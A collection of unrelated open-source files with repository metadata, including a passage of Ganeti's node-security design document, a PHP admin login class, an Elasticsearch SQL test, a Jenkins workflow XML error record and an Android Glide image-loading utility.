procedure applied to onlining and offlining master candidates. Cluster verify ~~~~~~~~~~~~~~ Cluster verify will be extended by the following checks: - Whether each entry in the candidate map indeed corresponds to a master candidate. - Whether the master candidate's certificate digest match their entry in the candidate map. - Whether no node tries to use the certificate of another node. In particular, it is important to check that no normal node tries to use the certificate of a master candidate. - Whether there are still self-signed client certificates in use (from a pre 2.12.4 Ganeti version). Crypto renewal ~~~~~~~~~~~~~~ Currently, when the cluster's cryptographic tokens are renewed using the ``gnt-cluster renew-crypto`` command the node daemon certificate is renewed (among others). Option ``--new-cluster-certificate`` renews the node daemon certificate only. By adding an option ``--new-node-certificates`` we offer to renew the client certificate. Whenever the client certificates are renewed, the candidate map has to be updated and redistributed. If for whatever reason, the candidate map becomes inconsistent, for example due inconsistent updating after a demotion or offlining), the user can use this option to renew the client certificates and update the candidate certificate map. Note that renewing the server certificate requires all client certificates being renewed and signed by the new server certificate, because otherwise their signature can not be verified by the server who only has the new server certificate then. As there was a different design in place in Ganeti 2.12.4 and previous versions, we have to ensure that renew-crypto works on pre 2.12 versions and 2.12.1-4. Users that got hit by Issue 1094 will be encouraged to run renew-crypto at least once after switching to 2.12.5. Those who did not encounter this bug yet, will still get nagged friendly by gnt-cluster verify. Further considerations ---------------------- Watcher ~~~~~~~ The watcher is a script that is run on all nodes in regular intervals. The changes proposed in this design will not affect the watcher's implementation, because it behaves differently on the master than on non-master nodes. Only on the master, it issues query calls which would require a client certificate of a node in the candidate mapping. This is the case for the master node. On non-master node, it's only external communication is done via the ConfD protocol, which uses the hmac key, which is present on all nodes. Besides that, the watcher does not make any ssh connections, and thus is not affected by the changes in ssh key handling either. Other Keys and Daemons ~~~~~~~~~~~~~~~~~~~~~~ Ganeti handles a couple of other keys/certificates that have not been mentioned in this design so far. Also, other daemons than the ones mentioned so far perform intra-cluster communication. Neither the keys nor the daemons will be affected by this design for several reasons: - The hmac key used by ConfD (see :doc:`design-2.1`): the hmac key is still distributed to all nodes, because it was designed to be used for communicating with ConfD, which should be possible from all nodes. For example, the monitoring daemon which runs on all nodes uses it to retrieve information from ConfD. However, since communication with ConfD is read-only, a compromised node holding the hmac key does not enable an attacker to change the cluster's state. - The WConfD daemon writes the configuration to all master candidates via RPC. Since it only runs on the master node, it's ability to run RPC requests is maintained with this design. - The rapi SSL key certificate and rapi user/password file 'rapi_users' is already only copied to the master candidates (see :doc:`design-2.1`, Section ``Redistribute Config``). - The spice certificates are still distributed to all nodes, since it should be possible to use spice to access VMs on any cluster node. - The cluster domain secret is used for inter-cluster instance moves. Since instances can be moved from any normal node of the source cluster to any normal node of the destination cluster, the presence of this secret on all nodes is necessary. Related and Future Work ~~~~~~~~~~~~~~~~~~~~~~~ There a couple of suggestions on how to improve the SSL setup even more. As a trade-off wrt to complexity and implementation effort, we did not implement them yet (as of version 2.11) but describe them here for future reference. - The server certificate is currently self-signed and the client certificates are signed by the server certificate. It would increase the security if they were signed by a common CA. There is already a design doc for a Ganeti CA which was suggested in a different context (related to import/export). This would also be a benefit for the RPC calls. See design doc :doc:`design-impexp2` for more information. Implementing a CA is rather complex, because it would mean also to support renewing the CA certificate and providing and supporting infrastructure to revoke compromised certificates. - An extension of the previous suggestion would be to even enable the system administrator to use an external CA. Especially in bigger setups, where already an SSL infrastructure exists, it would be useful if Ganeti can simply be integrated with it, rather than forcing the user to use the Ganeti CA. - Ganeti RPC calls are currently done without checking if the hostname of the node complies with the common name of the certificate. This might be a desirable feature, but would increase the effort when a node is renamed. - The typical use case for SSL is to have one certificate per node rather than one shared certificate (Ganeti's noded server certificate) and a client certificate. One could change the design in a way that only one certificate per node is used, but this would require a common CA so that the validity of the certificate can be established by every node in the cluster. - With the proposed design, the serial numbers of the client certificates are set to the node UUIDs. This is technically also not complying to how SSL is supposed to be used, as the serial numbers should reflect the enumeration of certificates created by the CA. Once a CA is implemented, it might be reasonable to change this accordingly. The implementation of the proposed design also has the drawback of the serial number not changing even if the certificate is replaced by a new one (for example when calling ``gnt-cluster renew- crypt``), which also does not comply to way SSL was designed to be used. .. vim: set textwidth=72 : .. Local Variables: .. mode: rst .. fill-column: 72 .. End:
{ "content_hash": "7c30ef812602f0cf4c8216a0ad8b1984", "timestamp": "", "source": "github", "line_count": 683, "max_line_length": 80, "avg_line_length": 45.595900439238655, "alnum_prop": 0.7667458737396442, "repo_name": "bitemyapp/ganeti", "id": "12152777abd19d60b912a511c0e19af759d62b51", "size": "31142", "binary": false, "copies": "9", "ref": "refs/heads/master", "path": "doc/design-node-security.rst", "mode": "33188", "license": "bsd-2-clause", "language": [ { "name": "Haskell", "bytes": "2583387" }, { "name": "Python", "bytes": "5892379" }, { "name": "Shell", "bytes": "117944" } ], "symlink_target": "" }
using System.Security.Policy; namespace SpotifyRecorder.Core.Abstractions.Entities { public class ID3Tags { public string[] Artists { get; set; } public string Title { get; set; } public string Album { get; set; } } }
{ "content_hash": "a02ef175b751ef3b6ebaf4af57252b1a", "timestamp": "", "source": "github", "line_count": 11, "max_line_length": 52, "avg_line_length": 23.181818181818183, "alnum_prop": 0.6352941176470588, "repo_name": "haefele/SpotifyRecorder", "id": "4ec5286dcc3443ee2b2c4703cfa3cdcbbc58bfe5", "size": "257", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/Core/SpotifyRecorder.Core.Abstractions/Entities/ID3Tags.cs", "mode": "33188", "license": "mit", "language": [ { "name": "C#", "bytes": "30420" } ], "symlink_target": "" }
require 'fog/core/model' module Fog module DNS class StormOnDemand class Record < Fog::Model identity :id attribute :adminEmail attribute :expiry attribute :fullData attribute :minimum attribute :name attribute :nameserver attribute :port attribute :prio attribute :rdata attribute :refreshInterval attribute :regionOverrides attribute :retry attribute :serial attribute :target attribute :ttl attribute :type attribute :weight attribute :zone_id def initialize(attributes={}) super end def destroy requires :identity service.delete_record(:id => identity) true end def update(options={}) requires :identity service.update_record({:id => identity}.merge!(options)) true end def create_region(options) requires :identity service.create_record_region({:record_id => identity}.merge!(options)) true end def delete_region(options) requires :identity service.delete_record_region({:record_id => identity}.merge!(options)) end def update_region(options) requires :identity service.update_record_region({:record_id => identity}.merge!(options)) end end end end end
{ "content_hash": "0ce2cb37ad446b1e89ca9da4296ecfca", "timestamp": "", "source": "github", "line_count": 64, "max_line_length": 80, "avg_line_length": 23.125, "alnum_prop": 0.5682432432432433, "repo_name": "12spokes/fog", "id": "ee034d3414c281f954682f76350e3ae4fa577eed", "size": "1480", "binary": false, "copies": "15", "ref": "refs/heads/master", "path": "lib/fog/storm_on_demand/models/dns/record.rb", "mode": "33188", "license": "mit", "language": [ { "name": "Ruby", "bytes": "7962184" } ], "symlink_target": "" }
<?xml version='1.0' encoding='UTF-8'?> <org.jenkinsci.plugins.workflow.support.storage.SimpleXStreamFlowNodeStorage_-Tag plugin="workflow-support@2.14"> <node class="org.jenkinsci.plugins.workflow.graph.FlowEndNode" plugin="workflow-api@2.16"> <parentIds> <string>10</string> </parentIds> <id>11</id> <startId>2</startId> <result> <name>FAILURE</name> <ordinal>2</ordinal> <color>RED</color> <completeBuild>true</completeBuild> </result> </node> <actions> <org.jenkinsci.plugins.workflow.actions.ErrorAction plugin="workflow-api@2.16"> <error class="java.lang.NullPointerException"> <stackTrace> <trace>org.jenkinsci.plugins.workflow.cps.DSL.invokeStep(DSL.java:222)</trace> <trace>org.jenkinsci.plugins.workflow.cps.DSL.invokeMethod(DSL.java:148)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsScript.invokeMethod(CpsScript.java:108)</trace> <trace>groovy.lang.GroovyObject$invokeMethod.call(Unknown Source)</trace> <trace>org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)</trace> <trace>org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)</trace> <trace>org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:151)</trace> <trace>org.kohsuke.groovy.sandbox.GroovyInterceptor.onMethodCall(GroovyInterceptor.java:21)</trace> <trace>org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onMethodCall(SandboxInterceptor.java:115)</trace> <trace>org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:149)</trace> <trace>org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:146)</trace> <trace>org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:123)</trace> <trace>com.cloudbees.groovy.cps.sandbox.SandboxInvoker.methodCall(SandboxInvoker.java:16)</trace> <trace>WorkflowScript.run(WorkflowScript:11)</trace> <trace>___cps.transform___(Native Method)</trace> <trace>com.cloudbees.groovy.cps.impl.ContinuationGroup.methodCall(ContinuationGroup.java:57)</trace> <trace>com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:109)</trace> <trace>com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:82)</trace> <trace>sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)</trace> <trace>sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)</trace> <trace>sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)</trace> <trace>java.lang.reflect.Method.invoke(Method.java:498)</trace> <trace>com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72)</trace> <trace>com.cloudbees.groovy.cps.impl.ConstantBlock.eval(ConstantBlock.java:21)</trace> <trace>com.cloudbees.groovy.cps.Next.step(Next.java:74)</trace> <trace>com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:154)</trace> <trace>org.jenkinsci.plugins.workflow.cps.SandboxContinuable.access$001(SandboxContinuable.java:18)</trace> <trace>org.jenkinsci.plugins.workflow.cps.SandboxContinuable$1.call(SandboxContinuable.java:33)</trace> <trace>org.jenkinsci.plugins.workflow.cps.SandboxContinuable$1.call(SandboxContinuable.java:30)</trace> <trace>org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.GroovySandbox.runInSandbox(GroovySandbox.java:108)</trace> <trace>org.jenkinsci.plugins.workflow.cps.SandboxContinuable.run0(SandboxContinuable.java:30)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsThread.runNextChunk(CpsThread.java:165)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.run(CpsThreadGroup.java:330)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.access$100(CpsThreadGroup.java:82)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:242)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:230)</trace> <trace>org.jenkinsci.plugins.workflow.cps.CpsVmExecutorService$2.call(CpsVmExecutorService.java:64)</trace> <trace>java.util.concurrent.FutureTask.run(FutureTask.java:266)</trace> <trace>hudson.remoting.SingleLaneExecutorService$1.run(SingleLaneExecutorService.java:112)</trace> <trace>jenkins.util.ContextResettingExecutorService$1.run(ContextResettingExecutorService.java:28)</trace> <trace>java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)</trace> <trace>java.util.concurrent.FutureTask.run(FutureTask.java:266)</trace> <trace>java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)</trace> <trace>java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)</trace> <trace>java.lang.Thread.run(Thread.java:748)</trace> </stackTrace> <suppressedExceptions class="java.util.Collections$UnmodifiableRandomAccessList" resolves-to="java.util.Collections$UnmodifiableList"> <c class="list"/> <list reference="../c"/> </suppressedExceptions> </error> </org.jenkinsci.plugins.workflow.actions.ErrorAction> <org.jenkinsci.plugins.workflow.actions.TimingAction plugin="workflow-api@2.16"> <startTime>1506116597115</startTime> </org.jenkinsci.plugins.workflow.actions.TimingAction> </actions> </org.jenkinsci.plugins.workflow.support.storage.SimpleXStreamFlowNodeStorage_-Tag>
{ "content_hash": "5f9e1a7dcf5375d2d6ad9fba5dbb1dac", "timestamp": "", "source": "github", "line_count": 76, "max_line_length": 142, "avg_line_length": 76.89473684210526, "alnum_prop": 0.7368240930869268, "repo_name": "10000TB/state-replay", "id": "6eab034d44d81c2ddfa4ab52fd4e7f50ae1959c6", "size": "5844", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "work/jobs/test-step-plugins/builds/10/workflow/11.xml", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "356523" }, { "name": "Groovy", "bytes": "6983" }, { "name": "HTML", "bytes": "850883" }, { "name": "Java", "bytes": "23693" }, { "name": "JavaScript", "bytes": "23479115" }, { "name": "Roff", "bytes": "541" }, { "name": "Shell", "bytes": "1898" } ], "symlink_target": "" }
<?php class DroneAdmin { static function handle() { global $tmpl; $tmpl = new DroneTemplate(); if (isset($_SESSION['drone_admin_user'])) self::processRequest(); else self::login(); } static function verify_credentials($data) { $user = DroneConfig::get('Admin.user'); $pass = DroneConfig::get('Admin.pass'); $hash = DroneConfig::get('Admin.passHash'); if (!isset($user) || $user=="") DroneCore::throwDroneError("To use the Admin module, you must set a user in droneEnv/settings.php"); if (!isset($pass) && !isset($hash)) DroneCore::throwDroneError("To use the Admin module, you must set a password or a password hash in droneEnv/settings.php"); if (strtolower($user) == strtolower($data['user'])) { if ((isset($pass) && $pass==$data['pass']) || (isset($hash) && $hash==md5($data['pass']))) return true; } return false; } static function processRequest() { $request = isset($_GET['section'])?$_GET['section']:"index"; if (method_exists("DroneAdmin",$request)) eval("DroneAdmin::{$request}();"); } static function login_success($data) { if (isset($data)) { $_SESSION['drone_admin_user'] = DroneConfig::get('Admin.user'); header("?=droneadmin&section={$_GET['section']}"); } } static function index() { global $tmpl; $tmpl->set('section',"main"); $tmpl->render("admin/login.tmpl",true); } static function login() { global $tmpl; $form = new DroneForm("DroneAdmin::login_success"); $form->addInput('*'.dgettext('phpDrone','User'),'text',"user",array("DroneAdmin::verify_credentials",dgettext('phpDrone',"Invalid user/password"))); $form->addInput('*'.dgettext('phpDrone','Password'),'password',"pass"); $form->addInput('*'.dgettext('phpDrone','Login'),'submit',"action"); $tmpl->set('form',$form->getHTML()); $tmpl->set('next',$_GET['section']); $tmpl->render("admin/login.tmpl",true); } static function i18n() { global $tmpl; $tmpl->set('section',"i18n"); $tmpl->render("admin/login.tmpl",true); } } ?>
{ "content_hash": "15cdbc376f3949de2244a4213bd98f45", "timestamp": "", "source": "github", "line_count": 79, "max_line_length": 156, "avg_line_length": 30.164556962025316, "alnum_prop": 0.5383969785984054, "repo_name": "surdu/phpDrone", "id": "4a0c6b25a9d24a3411c872a420fe738754992641", "size": "2383", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "phpDrone/DroneAdmin.php", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "CSS", "bytes": "59489" }, { "name": "HTML", "bytes": "3038" }, { "name": "JavaScript", "bytes": "191654" }, { "name": "PHP", "bytes": "103091" } ], "symlink_target": "" }
function plotcv(cvResult) figure; x = cellfun(@(x) x.param.nprincomp, cvResult); y = cellfun(@(x) x.stat('VaError'), cvResult); plot(x, y); xlabel('number of principal components', 'FontSize', 14); ylabel('validation frame error', 'FontSize', 14); end
{ "content_hash": "1e2f626de852010ae9b06e8e42debe69", "timestamp": "", "source": "github", "line_count": 8, "max_line_length": 57, "avg_line_length": 31.375, "alnum_prop": 0.7051792828685259, "repo_name": "ushadow/gesture-recog", "id": "2b08d43017bbcdff4a85f4cdbfd134fadf5a0754", "size": "251", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "matlab/visualization/plotcv.m", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "15280" }, { "name": "M", "bytes": "6280" }, { "name": "Matlab", "bytes": "236884" }, { "name": "Objective-C", "bytes": "261" } ], "symlink_target": "" }
package org.gradle.nativeplatform.internal.resolve; import org.gradle.nativeplatform.NativeLibraryBinary; public class LibraryNativeDependencyResolver implements NativeDependencyResolver { private final LibraryBinaryLocator libraryBinaryLocator; public LibraryNativeDependencyResolver(final LibraryBinaryLocator locator) { libraryBinaryLocator = locator; } @Override public void resolve(NativeBinaryResolveResult resolution) { for (NativeBinaryRequirementResolveResult requirementResolution : resolution.getPendingResolutions()) { DefaultLibraryResolver libraryResolver = new DefaultLibraryResolver(libraryBinaryLocator, requirementResolution.getRequirement(), resolution.getTarget()); NativeLibraryBinary libraryBinary = libraryResolver.resolveLibraryBinary(); requirementResolution.setLibraryBinary(libraryBinary); requirementResolution.setNativeDependencySet(new DefaultNativeDependencySet(libraryBinary)); } } }
{ "content_hash": "901cc95ac4f51707555e7c80bb7cf6ff", "timestamp": "", "source": "github", "line_count": 23, "max_line_length": 166, "avg_line_length": 44.26086956521739, "alnum_prop": 0.7917485265225933, "repo_name": "HenryHarper/Acquire-Reboot", "id": "26e556c54698e1d42eb563f83532a21142147951", "size": "1633", "binary": false, "copies": "7", "ref": "refs/heads/master", "path": "gradle/src/platform-native/org/gradle/nativeplatform/internal/resolve/LibraryNativeDependencyResolver.java", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
package org.elasticsearch.xpack.sql.expression.function.scalar.string; import org.elasticsearch.xpack.sql.expression.Expression; import org.elasticsearch.xpack.sql.expression.function.scalar.FunctionTestUtils.Combinations; import org.elasticsearch.xpack.sql.expression.gen.pipeline.Pipe; import org.elasticsearch.xpack.sql.tree.AbstractNodeTestCase; import org.elasticsearch.xpack.sql.tree.Source; import java.util.ArrayList; import java.util.BitSet; import java.util.List; import java.util.Objects; import java.util.function.Function; import static org.elasticsearch.xpack.sql.expression.Expressions.pipe; import static org.elasticsearch.xpack.sql.expression.function.scalar.FunctionTestUtils.randomIntLiteral; import static org.elasticsearch.xpack.sql.expression.function.scalar.FunctionTestUtils.randomStringLiteral; import static org.elasticsearch.xpack.sql.tree.SourceTests.randomSource; public class InsertFunctionPipeTests extends AbstractNodeTestCase<InsertFunctionPipe, Pipe> { @Override protected InsertFunctionPipe randomInstance() { return randomInsertFunctionPipe(); } private Expression randomInsertFunctionExpression() { return randomInsertFunctionPipe().expression(); } public static InsertFunctionPipe randomInsertFunctionPipe() { return (InsertFunctionPipe) (new Insert(randomSource(), randomStringLiteral(), randomIntLiteral(), randomIntLiteral(), randomStringLiteral()) .makePipe()); } @Override public void testTransform() { // test transforming only the properties (source, expression), // skipping the children (the two parameters of the binary function) which are tested separately InsertFunctionPipe b1 = randomInstance(); Expression newExpression = randomValueOtherThan(b1.expression(), () -> randomInsertFunctionExpression()); InsertFunctionPipe newB = new InsertFunctionPipe( b1.source(), newExpression, b1.src(), b1.start(), b1.length(), b1.replacement()); assertEquals(newB, b1.transformPropertiesOnly(v -> Objects.equals(v, b1.expression()) ? newExpression : v, Expression.class)); InsertFunctionPipe b2 = randomInstance(); Source newLoc = randomValueOtherThan(b2.source(), () -> randomSource()); newB = new InsertFunctionPipe( newLoc, b2.expression(), b2.src(), b2.start(), b2.length(), b2.replacement()); assertEquals(newB, b2.transformPropertiesOnly(v -> Objects.equals(v, b2.source()) ? newLoc : v, Source.class)); } @Override public void testReplaceChildren() { InsertFunctionPipe b = randomInstance(); Pipe newSource = pipe(((Expression) randomValueOtherThan(b.source(), () -> randomStringLiteral()))); Pipe newStart = pipe(((Expression) randomValueOtherThan(b.start(), () -> randomIntLiteral()))); Pipe newLength = pipe(((Expression) randomValueOtherThan(b.length(), () -> randomIntLiteral()))); Pipe newR = pipe(((Expression) randomValueOtherThan(b.replacement(), () -> randomStringLiteral()))); InsertFunctionPipe newB = new InsertFunctionPipe(b.source(), b.expression(), b.src(), b.start(), b.length(), b.replacement()); InsertFunctionPipe transformed = null; // generate all the combinations of possible children modifications and test all of them for(int i = 1; i < 5; i++) { for(BitSet comb : new Combinations(4, i)) { transformed = (InsertFunctionPipe) newB.replaceChildren( comb.get(0) ? newSource : b.src(), comb.get(1) ? newStart : b.start(), comb.get(2) ? newLength : b.length(), comb.get(3) ? newR : b.replacement()); assertEquals(transformed.src(), comb.get(0) ? newSource : b.src()); assertEquals(transformed.start(), comb.get(1) ? newStart : b.start()); assertEquals(transformed.length(), comb.get(2) ? newLength : b.length()); assertEquals(transformed.replacement(), comb.get(3) ? newR : b.replacement()); assertEquals(transformed.expression(), b.expression()); assertEquals(transformed.source(), b.source()); } } } @Override protected InsertFunctionPipe mutate(InsertFunctionPipe instance) { List<Function<InsertFunctionPipe, InsertFunctionPipe>> randoms = new ArrayList<>(); for(int i = 1; i < 5; i++) { for(BitSet comb : new Combinations(4, i)) { randoms.add(f -> new InsertFunctionPipe( f.source(), f.expression(), comb.get(0) ? pipe(((Expression) randomValueOtherThan(f.source(), () -> randomStringLiteral()))) : f.src(), comb.get(1) ? pipe(((Expression) randomValueOtherThan(f.start(), () -> randomIntLiteral()))) : f.start(), comb.get(2) ? pipe(((Expression) randomValueOtherThan(f.length(), () -> randomIntLiteral()))): f.length(), comb.get(3) ? pipe(((Expression) randomValueOtherThan(f.replacement(), () -> randomStringLiteral()))) : f.replacement())); } } return randomFrom(randoms).apply(instance); } @Override protected InsertFunctionPipe copy(InsertFunctionPipe instance) { return new InsertFunctionPipe(instance.source(), instance.expression(), instance.src(), instance.start(), instance.length(), instance.replacement()); } }
{ "content_hash": "8a0821ce1b6dbf5df5da95f355e60881", "timestamp": "", "source": "github", "line_count": 131, "max_line_length": 134, "avg_line_length": 46.717557251908396, "alnum_prop": 0.5993464052287582, "repo_name": "coding0011/elasticsearch", "id": "fbb8c33061d939fc6d39b7df97e4257f9f1b42d3", "size": "6361", "binary": false, "copies": "10", "ref": "refs/heads/master", "path": "x-pack/plugin/sql/src/test/java/org/elasticsearch/xpack/sql/expression/function/scalar/string/InsertFunctionPipeTests.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ANTLR", "bytes": "11081" }, { "name": "Batchfile", "bytes": "18064" }, { "name": "Emacs Lisp", "bytes": "3341" }, { "name": "FreeMarker", "bytes": "45" }, { "name": "Groovy", "bytes": "312193" }, { "name": "HTML", "bytes": "5519" }, { "name": "Java", "bytes": "41505710" }, { "name": "Perl", "bytes": "7271" }, { "name": "Python", "bytes": "55163" }, { "name": "Shell", "bytes": "119286" } ], "symlink_target": "" }
function fn1(): number { } function fn2(): string { } function fn3(): boolean { } function fn4(): Date { } function fn7(): any { } // should be valid: any includes void interface I { id: number } class C implements I { id: number; dispose() {} } class D extends C { name: string; } function fn10(): D { return { id: 12 }; } function fn11(): D { return new C(); } //// [invalidReturnStatements.js] var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; // all the following should be error function fn1() { } function fn2() { } function fn3() { } function fn4() { } function fn7() { } // should be valid: any includes void var C = (function () { function C() { } C.prototype.dispose = function () { }; return C; }()); var D = (function (_super) { __extends(D, _super); function D() { _super.apply(this, arguments); } return D; }(C)); function fn10() { return { id: 12 }; } function fn11() { return new C(); }
{ "content_hash": "f77ab746c79030ab6f1bd125dac94cce", "timestamp": "", "source": "github", "line_count": 47, "max_line_length": 89, "avg_line_length": 25.5531914893617, "alnum_prop": 0.5603663613655288, "repo_name": "mmoskal/TypeScript", "id": "0f5b0d3e08dd5258c21ccbac2403f6717bd4b40e", "size": "1273", "binary": false, "copies": "15", "ref": "refs/heads/master", "path": "tests/baselines/reference/invalidReturnStatements.js", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "945" }, { "name": "HTML", "bytes": "4843" }, { "name": "JavaScript", "bytes": "175" }, { "name": "PowerShell", "bytes": "2855" }, { "name": "Shell", "bytes": "47" }, { "name": "TypeScript", "bytes": "27925474" } ], "symlink_target": "" }
phpSpring is a port of the ColdSpring project (which is based on the Spring java framework). The project is primarily a dependency injection framework, however it will eventually also include some AOP features as well. ## Copyright Copyright (c) 2012, GreenTie Development, AJ Michels Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
{ "content_hash": "ebf0e40fbc400c44450bb705f223c4a9", "timestamp": "", "source": "github", "line_count": 14, "max_line_length": 305, "avg_line_length": 57.857142857142854, "alnum_prop": 0.7975308641975308, "repo_name": "greentiedev/phpSpring", "id": "90270be31709fe50c6492717b26f753d4e141597", "size": "841", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "PHP", "bytes": "54159" } ], "symlink_target": "" }
package com.cloudTop.starshare.utils; import android.content.Context; import android.widget.ImageView; import com.bumptech.glide.Glide; import com.bumptech.glide.load.DecodeFormat; import com.bumptech.glide.load.engine.DiskCacheStrategy; import com.cloudTop.starshare.R; import com.cloudTop.starshare.app.AppConfig; import java.io.File; /** * Description : 图片加载工具类 使用glide框架封装 */ public class ImageLoaderUtils { public static void display(Context context, ImageView imageView, String url, int placeholder, int error) { url = AppConfig.QI_NIU_PIC_ADRESS+url; LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url).placeholder(placeholder) .error(error).crossFade().into(imageView); } public static void display(Context context, ImageView imageView, String url) { url = AppConfig.QI_NIU_PIC_ADRESS+url; LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .centerCrop() .error(R.drawable.ic_empty_picture) .crossFade().into(imageView); } public static void displayUrl(Context context, ImageView imageView, String url) { LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .centerCrop() .error(R.drawable.ic_empty_picture) .crossFade().into(imageView); } public static void display(Context context, ImageView imageView, File url) { if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .centerCrop() .placeholder(R.drawable.ic_image_loading) .error(R.drawable.ic_empty_picture) .crossFade().into(imageView); } /** * 小方图,专用头像 * @param context * @param imageView * @param url */ public static void displaySmallPhoto(Context context, ImageView imageView, String url) { url = AppConfig.QI_NIU_PIC_ADRESS+url; LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .placeholder(R.drawable.star_default_icon) .error(R.drawable.star_default_icon) .centerCrop() .crossFade() .into(imageView); } /** * 小圆图,专用头像 * @param context * @param imageView * @param url */ public static void displaySmallPhotoRound(Context context, ImageView imageView, String url) { if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .placeholder(R.drawable.user_default_head) .error(R.drawable.user_default_head) .centerCrop() .crossFade() .transform(new GlideRoundTransformUtil(context)) .into(imageView); } public static void displayBigPhoto(Context context, ImageView imageView, String url) { url = AppConfig.QI_NIU_PIC_ADRESS+url; if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url).asBitmap() .format(DecodeFormat.PREFER_ARGB_8888) .diskCacheStrategy(DiskCacheStrategy.ALL) .placeholder(R.drawable.ic_image_loading) .error(R.drawable.ic_empty_picture) .into(imageView); } public static void display(Context context, ImageView imageView, int url) { if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .centerCrop() .placeholder(R.drawable.ic_image_loading) .error(R.drawable.ic_empty_picture) .crossFade().into(imageView); } public static void displayRound(Context context, ImageView imageView, String url) { url = AppConfig.QI_NIU_PIC_ADRESS+url; if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .error(R.drawable.toux2) .centerCrop().transform(new GlideRoundTransformUtil(context)).into(imageView); } public static void displayRound(Context context, ImageView imageView, int resId) { if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(resId) .diskCacheStrategy(DiskCacheStrategy.ALL) .error(R.drawable.toux2) .centerCrop().transform(new GlideRoundTransformUtil(context)).into(imageView); } public static void displayWithDefaultImg(Context context, ImageView imageView, String url,int resurce) { // url = AppConfig.QI_NIU_PIC_ADRESS+url; LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context).load(url) .diskCacheStrategy(DiskCacheStrategy.ALL) .centerCrop() .placeholder(R.drawable.edit_cursor) .error(resurce) .crossFade().into(imageView); } //预览图 public static void displayWithPreviewImg(Context context, final ImageView imageView, String url,int resurce) { // url = AppConfig.QI_NIU_PIC_ADRESS+url; LogUtils.loge("ysl_url"+url); if (imageView == null) { throw new IllegalArgumentException("argument error"); } Glide.with(context) .load(url) // .fitCenter() .diskCacheStrategy(DiskCacheStrategy.SOURCE) .placeholder(R.drawable.edit_cursor) .error(resurce) .into(imageView); } }
